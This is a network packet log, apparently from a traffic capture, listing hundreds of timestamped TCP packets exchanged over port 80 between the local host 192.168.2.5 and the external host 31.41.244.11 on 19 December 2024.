Dec 19, 2024 03:09:24.192713976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.192795038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.192843914 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.193643093 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.193697929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.193761110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.193830013 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.194645882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.194699049 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.194761038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.194806099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.195687056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.195781946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.195841074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.196707010 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.196765900 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.196849108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.196904898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.197791100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.197843075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.197843075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.197900057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.198774099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.198836088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.337588072 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.337711096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.337816000 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.338084936 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.338134050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.338188887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.338246107 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.339165926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.339215040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.339318991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.339369059 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.340089083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.340210915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.340269089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.341118097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.341170073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.341280937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.341332912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.342148066 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.342199087 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.342235088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.342283010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.343209982 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.343266010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.343311071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.343364000 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.344192028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.344304085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.344360113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.345246077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.345299006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.345418930 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.345470905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.346266985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.346326113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.346431971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.346482992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.347202063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.347258091 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.347323895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.347372055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.348203897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.348335028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.348397970 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.349210024 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.349276066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.349323988 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.349375010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.350217104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.350275993 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.350315094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.350364923 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.351300001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.351367950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.351392031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.351444960 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.352273941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.352366924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.352420092 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.353247881 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.353308916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.353378057 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.353451014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.354296923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.354358912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.354373932 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.354437113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.355279922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.355353117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.355416059 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.355468035 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.356314898 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.356472969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.356528997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.357321978 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.357378960 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.357428074 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.357475996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.358346939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.358402014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.358459949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.358506918 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.359344006 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.359414101 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.359453917 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.359508038 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.360364914 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.360522032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.360585928 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.361373901 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.361486912 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.361550093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.362381935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.362436056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.362483025 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.362529993 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.363420963 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.363482952 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.363535881 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.363590956 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.364393950 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.364449024 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.364509106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.364556074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.365406036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.365482092 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.365520954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.365578890 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.366420031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.366471052 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.366523027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.366569996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.367403984 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.367466927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.367536068 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.367583036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.368432999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.368566990 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.368609905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.369467974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.369523048 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.369556904 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.369612932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.370456934 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.370511055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.370621920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.370671988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.371484041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.371546984 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.371596098 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.372530937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.372586012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.372628927 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.372678995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.373524904 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.373590946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.373657942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.373704910 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.374511957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.374567986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.374641895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.374695063 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.375538111 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.375596046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.375644922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.375715017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.376532078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.376595020 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.376661062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.376710892 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.377556086 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.377612114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.377669096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.377721071 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.378554106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.378631115 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.378674030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.378736973 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.379560947 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.379630089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.379698038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.380652905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.380693913 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.380722046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.380765915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.381608009 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.381664991 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.381717920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.381772041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.382627010 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.382683039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.382750988 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.382793903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.383702993 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.383884907 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.383959055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.384722948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.384777069 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.384816885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.384886026 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.385668993 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.385730028 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.385792971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.385840893 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.386672020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.386723042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.386756897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.386802912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.387680054 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.387798071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.387860060 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.388725042 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.388797045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.388834953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.388884068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.389764071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.389823914 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.389827967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.389874935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.390674114 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.390733957 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.529922962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.529957056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.530111074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.530111074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.530199051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.530247927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.530282021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.530510902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.531228065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.531275988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.531377077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.531425953 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.532233000 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.532291889 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.532365084 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.532548904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.533253908 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.533309937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.533379078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.533425093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.534265041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.534327030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.534413099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.534460068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.535257101 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.535317898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.535396099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.535444975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.536289930 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.536412954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.536477089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.537296057 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.537362099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.537432909 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.537482023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.538316011 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.538372040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.538448095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.538492918 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.539457083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.539510965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.539519072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.539555073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.540424109 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.540477991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.540532112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.541337967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.541470051 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.541487932 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.541538954 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.542361021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.542418003 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.542494059 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.542551041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.543375969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.543457031 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.543528080 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.543607950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.544382095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.544558048 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.544657946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.545469999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.545525074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.545591116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.545641899 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.546430111 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.546487093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.546540022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.546597958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.547415972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.547485113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.547537088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.547611952 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.548429012 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.548491955 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.548562050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.548628092 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.549468040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.549617052 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.549665928 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.549726963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.550482035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.550546885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.550630093 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.550688028 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.551485062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.551558018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.551677942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.551736116 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.552536964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.552700043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.552768946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.553697109 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.553761959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.553771973 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.553822041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.554655075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.554761887 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.554781914 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.554833889 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.555546999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.555603981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.555624962 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.555661917 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.556560040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.556623936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.556679010 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.556731939 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.557548046 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.557619095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.557678938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.558419943 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.558510065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.558563948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.558665037 CET	80	49862	31.41.244.11	192.168.2.5
